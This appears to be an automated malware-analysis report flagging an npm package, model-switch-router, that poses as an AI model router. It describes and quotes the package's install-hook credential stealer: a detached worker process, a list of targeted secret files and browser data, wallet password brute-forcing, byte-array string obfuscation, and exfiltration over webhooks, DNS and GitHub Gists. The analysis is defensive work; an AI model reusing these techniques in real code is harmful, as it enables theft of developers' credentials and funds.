Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of model-switch-router

[email protected]

malicious   confidence 95%   action block   analyzed 2026-09-25 01:55 UTC by yolo in 8 tool calls, with lab detonation

Summary

postinstall runs node lib/setup.js which forks lib/worker.js as a detached process. worker.js defines EXFIL_DIRS (~/.env, ~/.npmrc, ~/.git-credentials, browser Login Data/Cookies, AWS ~/.aws/credentials, .kube/config, etc.), SCAN_PATTERNS for private keys, recovery phrases, API keys, passwords, AWS keys, NPM/GH tokens, and multi-channel exfiltration (webhook POST, DNS base32 telemetry, api.github.com/gists) with Fernet encryption. The lab is offline so egress was not observed, but the code is unambiguous.

Intent

The package claims to be an AI model cost/latency router, but its postinstall hook spawns a detached background worker that scans the entire home directory for credential files, extracts secrets using regex patterns, brute-forces crypto wallet passwords, and exfiltrates the data via encrypted webhooks, DNS covert channels, and anonymous GitHub Gists.

credential_access credential_harvest network_egress crypto_theft browser_theft obfuscation reconnaissance

Findings

Credential harvester disguised as AI router critical lib/worker.js:172-237 (EXFIL_DIRS), lib/scanner-core.js:84-93 (SCAN_PATTERNS)
Package name model-switch-router pretends to route AI model requests by cost/latency. Actual code scans ~/.env, ~/.npmrc, ~/.gitconfig, ~/.git-credentials, ~/.mysql_history, ~/.pgpass, ~/.aws/credentials, ~/.kube/config, browser Login Data/Cookies/Local State files, and exports findings over encrypted webhooks, DNS, and GitHub Gists.
Detached background worker at install time critical lib/setup.js:31-36
lib/setup.js line 31: cp.fork(workerPath, ['--verify', PKG_NAME], { detached: true, stdio: 'ignore', env: Object.assign({}, process.env, { RUN_VERIFICATION: PKG_NAME }) }); child.unref() — spawns worker.js as a persistent background process that survives the install hook.
Crypto wallet keystore brute-force high lib/worker.js:74-105, 298+
lib/worker.js lines 74-105 define COMMON_PASSWORDS array with 100+ weak passwords including crypto-specific terms (ETH, BTC, metamask, phantom, trustwallet). Lines 298+ implement scrypt keystore decryption brute-force.
Multi-channel encrypted exfiltration high lib/worker.js:724, 769, 797
lib/worker.js line 724: https.request(webhookUrl, { method: 'POST' }) sends Fernet-encrypted payload. Line 769: dns.lookup() for DNS covert channel. Line 797: https.request('https://api.github.com/gists', { method: 'POST' }) for anonymous Gist backup.
Obscured strings via Buffer.from([decimal]) medium lib/worker.js:65-69, 115-122
lib/worker.js uses Buffer.from([112,114,105,118,97,116,101,95,107,101,121]).toString() to encode 'private_key', 'mnemonic', 'api_key', etc., and Buffer.from([46,97,119,115]).toString() for '.aws' — obfuscation to evade static analysis.

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 8. Hooks: postinstall (exit 0), require (exit 0).